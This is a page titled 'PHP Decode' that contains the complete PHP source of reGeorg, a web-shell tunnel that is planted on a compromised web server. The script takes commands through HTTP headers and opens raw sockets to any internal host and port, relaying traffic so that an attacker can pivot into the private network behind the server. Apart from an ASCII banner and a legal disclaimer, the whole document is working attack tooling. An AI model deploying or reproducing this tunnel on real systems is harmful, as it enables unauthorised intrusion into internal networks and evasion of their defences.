PHP Decode

<?php 
/*                   _____                                     
   ____   ______  __|___  |__  ______  _____  _____   ______   
 |     | |   ___||   ___|    ||   ___|/     \|     | |   ___|  
 |     \ |   ___||   |  |    ||   ___||     ||     \ |   |  |  
 |__|\__\|______||______|  __||______|\_____/|__|\__\|______|  
                    |_____| 
                    ... every office needs a tool like Georg 
                     
  [email protected] / @_w_m__ 
  [email protected] / @trowalts 
  [email protected] / @kamp_staaldraad 
 
Legal Disclaimer 
Usage of reGeorg for attacking networks without consent 
can be considered as illegal activity. The authors of 
reGeorg assume no liability or responsibility for any 
misuse or damage caused by this program. 
 
If you find reGeorge on one of your servers you should 
consider the server compromised and likely further compromise 
to exist within your internal network. 
 
For more information, see: 
https://github.com/sensepost/reGeorg 
*/ 
 
ini_set("allow_url_fopen", true); 
ini_set("allow_url_include", true); 
 
if( !function_exists('apache_request_headers') ) { 
    function apache_request_headers() { 
        $arh = array(); 
        $rx_http = '/\AHTTP_/'; 
 
        foreach($_SERVER as $key => $val) { 
            if( preg_match($rx_http, $key) ) { 
                $arh_key = preg_replace($rx_http, '', $key); 
                $rx_matches = array(); 
                $rx_matches = explode('_', $arh_key); 
                if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) { 
                    foreach($rx_matches as $ak_key => $ak_val) { 
                        $rx_matches[$ak_key] = ucfirst($ak_val); 
                    } 
 
                    $arh_key = implode('-', $rx_matches); 
                } 
                $arh[$arh_key] = $val; 
            } 
        } 
        return( $arh ); 
    } 
} 
if ($_SERVER['REQUEST_METHOD'] === 'GET') 
{ 
    exit("Georg says, 'All seems fine'"); 
} 
 
if ($_SERVER['REQUEST_METHOD'] === 'POST') { 
	set_time_limit(0); 
	$headers=apache_request_headers(); 
	$cmd = $headers["X-CMD"]; 
    switch($cmd){ 
		case "CONNECT": 
			{ 
				$target = $headers["X-TARGET"]; 
				$port = (int)$headers["X-PORT"]; 
				$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
				if ($sock === false)  
				{	 
					header('X-STATUS: FAIL'); 
					header('X-ERROR: Failed creating socket'); 
					return; 
				} 
				$res = @socket_connect($sock, $target, $port); 
                if ($res === false)  
				{  
					header('X-STATUS: FAIL'); 
					header('X-ERROR: Failed connecting to target'); 
					return; 
				} 
				socket_set_nonblock($sock);	 
				@session_start(); 
				$_SESSION["run"] = true; 
                $_SESSION["writebuf"] = ""; 
                $_SESSION["readbuf"] = ""; 
                ob_end_clean(); 
                header('X-STATUS: OK'); 
                header("Connection: close"); 
                ignore_user_abort(); 
                ob_start(); 
                $size = ob_get_length(); 
                header("Content-Length: $size"); 
                ob_end_flush(); 
                flush();             
				session_write_close(); 
                 
				while ($_SESSION["run"]) 
				{ 
					$readBuff = ""; 
					@session_start(); 
					$writeBuff = $_SESSION["writebuf"]; 
					$_SESSION["writebuf"] = ""; 
					session_write_close(); 
                    if ($writeBuff != "") 
					{ 
						$i = socket_write($sock, $writeBuff, strlen($writeBuff)); 
						if($i === false) 
						{  
							@session_start(); 
                            $_SESSION["run"] = false; 
                            session_write_close(); 
                            header('X-STATUS: FAIL'); 
							header('X-ERROR: Failed writing socket'); 
						} 
					} 
					while ($o = socket_read($sock, 512)) { 
					if($o === false) 
						{  
                            @session_start(); 
                            $_SESSION["run"] = false; 
                            session_write_close(); 
							header('X-STATUS: FAIL'); 
							header('X-ERROR: Failed reading from socket'); 
						} 
						$readBuff .= $o; 
					} 
                    if ($readBuff!=""){ 
                        @session_start(); 
                        $_SESSION["readbuf"] .= $readBuff; 
                        session_write_close(); 
                    } 
                    #sleep(0.2); 
				} 
                socket_close($sock); 
			} 
			break; 
		case "DISCONNECT": 
			{ 
                error_log("DISCONNECT recieved"); 
				@session_start(); 
				$_SESSION["run"] = false; 
				session_write_close(); 
				return; 
			} 
			break; 
		case "READ": 
			{ 
				@session_start(); 
				$readBuffer = $_SESSION["readbuf"]; 
                $_SESSION["readbuf"]=""; 
                $running = $_SESSION["run"]; 
				session_write_close(); 
                if ($running) { 
					header('X-STATUS: OK'); 
                    header("Connection: Keep-Alive"); 
					echo $readBuffer; 
					return; 
				} else { 
                    header('X-STATUS: FAIL'); 
                    header('X-ERROR: RemoteSocket read filed'); 
					return; 
				} 
			} 
			break; 
		case "FORWARD": 
			{ 
                @session_start(); 
                $running = $_SESSION["run"]; 
				session_write_close(); 
                if(!$running){ 
                    header('X-STATUS: FAIL'); 
					header('X-ERROR: No more running, close now'); 
                    return; 
                } 
                header('Content-Type: application/octet-stream'); 
				$rawPostData = file_get_contents("php://input"); 
				if ($rawPostData) { 
					@session_start(); 
					$_SESSION["writebuf"] .= $rawPostData; 
					session_write_close(); 
					header('X-STATUS: OK'); 
                    header("Connection: Keep-Alive"); 
					return; 
				} else { 
					header('X-STATUS: FAIL'); 
					header('X-ERROR: POST request read filed'); 
				} 
			} 
			break; 
	} 
} 
?>